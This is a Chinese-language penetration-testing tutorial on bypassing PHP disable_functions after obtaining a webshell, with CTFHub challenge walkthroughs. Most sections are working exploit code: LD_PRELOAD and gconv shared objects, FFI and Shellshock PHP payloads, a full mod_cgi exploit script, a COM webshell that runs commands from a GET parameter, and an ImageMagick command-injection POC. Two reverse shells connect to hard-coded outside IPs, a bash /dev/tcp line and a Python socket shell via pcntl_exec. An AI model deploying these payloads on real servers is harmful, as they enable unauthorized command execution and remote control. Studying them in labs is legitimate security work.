简单讲解如何绕过PHP disable_function

前言

在渗透测试中,有时会遇到拿到webshell后无法执行命令的情况,为了能成功提权,需要我们绕过disabled_function

disable_function简介

disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。(eval并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin。)

绕过方法

1.寻找未禁用的函数

黑名单绕过,难免会有遗漏的函数,我们可以查看phpinfo文件,看看是否有未被禁用的危险函数

如:dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

2.利用 LD_PRELOAD 环境变量

原理简介

要了解LD_PRELOAD,可以参考这篇文章:

https://blog.csdn.net/haoel/article/details/1602108)

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

方法一:劫持函数

一般而言,利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),新进程 a.bin 内部调用系统函数 b(),b() 位于 系统共享对象 c.so 中,所以系统为该进程加载共享对象 c.so,想办法在加载 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内的b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。

于是我们的突破思路如下:

  1. 找到一个可以启动新进程的函数,如mail()函数会启动新进程 /usr/sbin/sendmail
  2. 书写一个会被sendmail调用的C函数(函数最好不带参数),内部为恶意代码,编译为.so文件,如getuid()函数
  3. 运行PHP函数putenv(),设定我们的so文件为LD_PRELOAD,设置后新进程启动时将优先加载我们设置的so文件
  4. 运行PHP的mail()函数,这时sendmail会优点调用我们书写的getuid同名函数,达到劫持执行恶意代码的效果

首先查看sendmail会调用那些函数,这里我们选择geteuid函数,也可以是其他函数进行劫持

readelf -Ws /usr/sbin/sendmail
#readelf只会显示sendmial可能调用的函数,具体调用的函数应该使用strace -f 进行查看

首先书写.c文件,目的为显示当前目录下文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
       system("ls");
}  

int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

在书写.php文件,设置环境变量并执行mail函数

<?php
putenv("LD_PRELOAD=/home/kali/Desktop/hack.so");#编译c文件后的文件位置
mail("","","","");
?>

将c文件编译后执行php文件

gcc hack.c -o hack.so -shared -fPIC

方法二:预加载共享对象

在实际情况中,很多机器尚未安装或者禁止了sendmail功能,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件,所以可以采用另一种方式绕过disable_function

系统通过LD_PRELOAD预先加载共享对象,如果在加载时就执行代码,就不用劫持函数以此绕过disable_function

gcc允许为函数设置如下属性,可以让其修饰的函数在mail()函数之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,将立即执行

__attribute__((__constructor__))
   //constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数

书写hack.c代码

#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
   unsetenv("LD_PRELOAD");
   const char* cmd = getenv("CMD");//接收传入的命令
   system(cmd);//执行命令
}

书写test.php代码

<?php
putenv("CMD=ls");#要执行的命令
putenv("LD_PRELOAD=/home/kali/Desktop/hack.so");#编译c文件后的文件位置
error_log("a",1);
?>

将.c文件编译好后运行,已执行恶意命令

gcc hack.c -o hack.so -shared -fPIC

使用条件

  • linux系统
  • putenv()
  • mail或error_log
  • 目录可写,需要上传.so文件

实例演示

题目取自ctfhub中web进阶的Bypass disable_function的LD_PRELOAD

首先上传.so文件和.php文件

.c文件代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("tec /flag > /var/www/html/flag.txt");
}

int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

.php文件代码

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");#
mail("","","","");
?>

在浏览器中访问.php文件,未出现flag,猜测mail函数被禁用,sendmail也会调用error_log,修改php文件

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("","","","");
error_log("",1,"","");
?>

3.利用PHP7.4 FFI

原理简介

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步。

使用条件

  • Linux 操作系统
  • PHP >= 7.4
  • 开启了 FFI 扩展且 ffi.enable=true

申明FFI,使用C语言的system函数:

$ffi = FFI::cdef("int system(char* command);");

调用创建的函数,执行ls命令并将其输入到1.txt中(system命令执行没有回显):

$ffi ->system("ls / > /tmp/1.txt"); 

实例演示

题目取自ctfhub中web进阶的Bypass disable_function的FFI扩展

蚁剑直接连,执行命令发现被disable_function拦截

上传EXP:

<?php
$ffi = FFI::cdef("int system(const char *command);");#申明ffi,调用system函数
$ffi->system("tac /flag > /tmp/111");#执行readflag中的命令读取flag
echo file_get_contents("/tmp/111");
@unlink("/tmp/111");#删除111文件

访问网站,得到flag:

4.利用shellshock(CVE-2014-6271)

原理简介

(https://zhuanlan.zhihu.com/p/35579956)

目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

攻击者只需将恶意代码写入到环境变量中,传到服务端,触发服务器运行bash脚本即可执行恶意代码

使用条件

  • 目标存在shellshock漏洞
  • 版本为PHP 5.*
  • linux系统
  • putenv()可用

实例演示

题目取自ctfhub中web进阶的Bypass disable_function的Shellshock

上传EXP:

<?php
putenv("PHP_flag=() { :; }; tac /flag >> /var/www/html/flag.txt");#设置环境变量,将flag输入到flag.txt中
error_log("",1,"","");

访问EXP,刷新后得到flag:

5.利用Apache Mod CGI

原理简介

CGI:CGI ,公共网关接口,它是 Web 服务器与外部应用程序(CGI 程序)之间传递信息的接口。通过 CGI 接口 Web 服务器就能够将客户端提交的信息转交给服务器端的 CGI 程序处理,最后返回结果给客户端。CGI是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程。

MOD_CGI:任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中.

若是想临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用htaccess文件进行配置

Options +ExecCGI
AddHandler cgi-script .aaa

然后设置.aaa结尾的shell文件(shell.aaa)

#!/bin/bash
echo;whoami;uname -a

将.htaccess和shell文件上传至指定目录后,需要给shell文件执行权限,这里贴一篇大佬的EXP

<?php
$cmd = "bash -i >& /dev/tcp/119.29.60.71/2333 0>&1"; //command to be executed "nc -c '/bin/bash' 10.11.12.13 8888"
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

上传EXP后,会生成一个shell.dizzle的文件,内容为

#!/bin/bash 

echo -ne "Content-Type: text/html\n\n"

bash -i >& /dev/tcp/119.29.60.71/2333 0>&1

使用条件

  • apache环境
  • mod_cgi已经启用
  • 允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
  • 有权限写.htaccess文件

实例演示

题目取自ctfhub中web进阶的Bypass disable_function的Apache Mod CGI

可以直接使用蚁剑工具进行绕过

使用手工绕过,上传1.php文件

<?php
$cmd = "tac /flag"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

访问1.php后,出现.htaccess文件和shell.dizzle文件,查看内容

Options +ExecCGI
AddHandler cgi-script .dizzle
#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
tac /flag

访问shell.dizzle得到flag

6.利用PHP-FPM

原理简介

在了解FPM前需要了解fast-cgi

(https://juejin.cn/post/6844903471976546311#heading-11)

早期的webserver只处理html等静态文件,但是随着技术的发展,出现了像php等动态语言。 webserver处理不了了,怎么办呢?那就交给php解释器来处理吧! 交给php解释器处理很好,但是,php解释器如何与webserver进行通信呢? 为了解决不同的语言解释器(如php、python解释器)与webserver的通信,于是出现了cgi协议。只要你按照cgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-cgi程序。

有了cgi协议,解决了php解释器与webserver通信的问题,webserver终于可以处理动态语言了。

但是,webserver每收到一个请求,都会去fork一个cgi进程,请求结束再kill掉这个进程。这样有10000个请求,就需要fork、kill php-cgi进程10000次。很浪费资源,于是,出现了cgi的改良版本,fast-cgi。fast-cgi每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求。这样每次就不用重新fork一个进程了,大大提高了效率。

php-fpm即php-Fastcgi Process Manager. php-fpm是 FastCGI 的实现,并提供了进程管理的功能。 进程包含 master 进程和 worker 进程两种进程。 master 进程只有一个,负责监听端口,接收来自 Web Server 的请求,而 worker 进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个 PHP 解释器,是 PHP 代码真正执行的地方。

由于FPM默认监听9000端口,所以我们可以通过构造fastcgi协议绕过webserver直接与fpm通信

使用条件

  • linux系统
  • putenv()可用
  • mail()或error_log()可用

实例演示

题目取自ctfhub中web进阶的Bypass disable_function的PHP-FPM

根据蚁剑插件进行突破

上传成功后,会在默认路径出现.antproxy.php文件,我们在蚁剑创造副本保存数据,打开副本即可webshell

蚁剑插件原理可以参考

(https://segmentfault.com/a/1190000038646341)

在执行蚁剑的插件时会发现其在当前目录生成了一个.antproxy.php文件,那么我们后续的bypass都是通过该文件来执行,那么先看一下这个shell的代码:

?php
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("

",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1rn";
$out .= "Host: ".$host.":".$port."rn";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."rn";
}
$out .= "Content-length:".strlen($post_data)."rn";

$out .= implode("rn",$headers);
$out .= "rnrn";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "rnrn");
$response = substr($response, $pos+4);
echo $response;

核心代码:

$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);

可以看到它这里向60882端口进行通信,事实上这里蚁剑使用/bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html开启了一个新的php服务,并且不使用php.ini,因此也就不存在disable了,那么我们在观察其执行过程会发现其还在tmp目录下上传了一个so文件,那么至此我们有理由推断出其通过攻击php-fpm修改其extension为在tmp目录下上传的扩展库,事实上从该插件的源码中也可以得知确实如此:

那么启动了该php server后我们的流量就通过antproxy.php转发到无disabel的php server上,此时就成功达成bypass。

7.利用iconv

原理简介

(https://blog.csdn.net/qq_42303523/article/details/117911859)

(https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/)

iconv是一个计算机程序以及一套应用程序编程接口的名称。 作为应用程序的iconv采用命令行界面,允许将某种特定编码的文件转换为另一种编码。

我们首先上传一个gconv-modules文件指定我们自定义的字符集文件的.so,内容为

module  自定义字符集名(大写)//INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)   2
module INTERNAL 自定义字符集名(大写)//../../../../../../../../tmp/自定义字符集名字(小写) 2

然后书写.c文件,内容为我们希望执行的命令函数,将文件打包为.so文件

#include <stdio.h> 
#include <stdlib.h>

void gconv() {}

void gconv_init() {
system("希望执行的命令");
}

然后执行shell命令,将文件上传至与gconv-modules文件相同的文件夹下

gcc 源代码文件名.c -o 自定义字符集名.so -shared -fPIC

书写.php文件,上传目录后访问即可

<?php    
putenv("GCONV_PATH=gconv-modules文件目录");
iconv("自定义字符集名", "UTF-8", "whatever");

使用条件

  • php安装了iconv相关模块
  • 目录可写

实例演示

题目取自ctfhub中web进阶的Bypass disable_function的iconv

蚁剑连接网站后,上传gconv-modules文件到/tmp目录下

module  HACK//    INTERNAL    ../../../../../../../../tmp/hack    2
module INTERNAL HACK// ../../../../../../../../tmp/hack 2

书写hack.c文件

#include <stdio.h> 
#include <stdlib.h>

void gconv() {}

void gconv_init() {
system("./readflag > /tmp/flag");
}

运行shell目录并上传到/tmp目录下

gcc hack.c -o hack.so -shared -fPIC

书写shell.php内容,上传至/var/www/html目录下,通过浏览器访问文件,flag文件会自动生成到/tmp文件夹下

<?php 
putenv("GCONV_PATH=/tmp/");
iconv("hack", "UTF-8", "whatever");

8.利用GC UAF/Backtrace UAF/Json Serializer UAF

原理简介

GC UAF漏洞利用PHP垃圾收集器中堆溢出来绕过disable_functions并执行系统命令。

exp

Backtrace UAF漏洞利用在debug_backtrace()函数中,我们可以诱使它返回对已被破坏的变量的引用,从而导致释放后使用漏洞。

exp

Json Serializer UAF漏洞利用利用json序列化程序中的堆溢出触发,以绕过disable_functions和执行系统命令。尽管不能保证成功,但它应该相当可靠的在所有服务器 api上使用。

exp

使用exp只需要修改pwn中的命令

使用条件(GC UAF)

  • linux系统
  • php7.0~7.3

使用条件(Backtrace UAF)

  • Linux 操作系统
  • PHP 版本7.1 – all versions to date7.2 < 7.2.19 (released: 30 May 2019)7.3 < 7.3.6 (released: 30 May 2019)

实例演示

题目取自ctfhub中web进阶的Bypass disable_function的GC UAF

修改exp中pwn的内容为,访问文件得到flag

pwn("tac /flag");

9.利用ImageMagick(CVE-2016-3714)

原理简介

ImageMagick是一款开源图片处理库,支持 PHP、Ruby、NodeJS 和 Python 等多种语言,使用非常广泛。包括 PHP imagick、Ruby rmagick 和 paperclip 以及 NodeJS imagemagick 等多个图片处理插件都依赖它运行。

想利用漏洞只需要上传精心制作的图片,ImageMagick会自动转换图片格式,执行恶意代码。

漏洞原理可以参考:

(https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html)

ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的。首先在delegate.xml文件中,定义了很多占位符,比如%i是输入的文件名,%l是图片exif label信息,而在之后的command中,部分占位符被拼接在其中,被拼接完的command命令行传入了系统的system函数,导致任意命令执行。

使用条件

  • 目标主机安装了漏洞版本的imagemagick(<= 3.3.0)
  • 安装了php-imagick拓展并在php.ini中启用;
  • 编写php通过new Imagick对象的方式来处理图片等格式文件;
  • PHP >= 5.4

实例演示

使用已有的docker进行演示

docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1

打开环境后,访问phpinfo文件,查看disable_function,并发现开启了imagemagick服务

查看docker镜像,发现根目录下的poc,查看源码

push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context

根据imagemagick的原理进行分析,在处理poc.png时,imagemagick会使用curl命令将其下载,这是imagemagick处理图片的委托,其中%o是curl输出的文件名,%M是远程的URL路径

<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

command中的%M是可以拼接其他指令并被在命令行中执行的。该漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令。我们利用poc执行命令

docker exec i_imagemagick_1 convert /poc.png 1.png

10.利用Windows COM组件

原理简介

COM component(COM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术,以WIN32动态链接库(DLL)或可执行文件(EXE)形式发布的可执行代码组成。

加载这个组件后,上传能执行系统命令的利用脚本(可以通过已有的webshell上传,也可以像上传shell一样直接上传):

<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); // 调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

这个方法的缺点是COM组件只有在PHP5.4版本默认加载,如果非5.4版本则需要手动开启。

利用条件

  • php开启COM服务
  • windows系统

实例演示

在本地搭建环境,访问phpinfo页面

发现开启COM服务

蚁剑连接,上传脚本进行访问

11.利用pcntl插件

原理简介

pcntl是linux专门管理PHP多线程的插件,其中包含了pcntl_exec等敏感函数,如果运维人员安全意识不强没有禁用相关函数,就可以利用其绕过disable_function。

pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定的程序,版本要求:PHP > 4.2.0

<?php
if(function_exists('pcntl_exec'))
{
pcntl_exec("/bin/bash", array("/tmp/test.sh"));#执行test.sh
}
else
{
echo 'pcntl extension is not support!';
}
?>

由于pcntl_exec()执行命令没有回显,所以其常与python结合来反弹shell:

<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

利用条件

  • linux系统
  • php支持pcntl插件
  • PHP > 4.2.0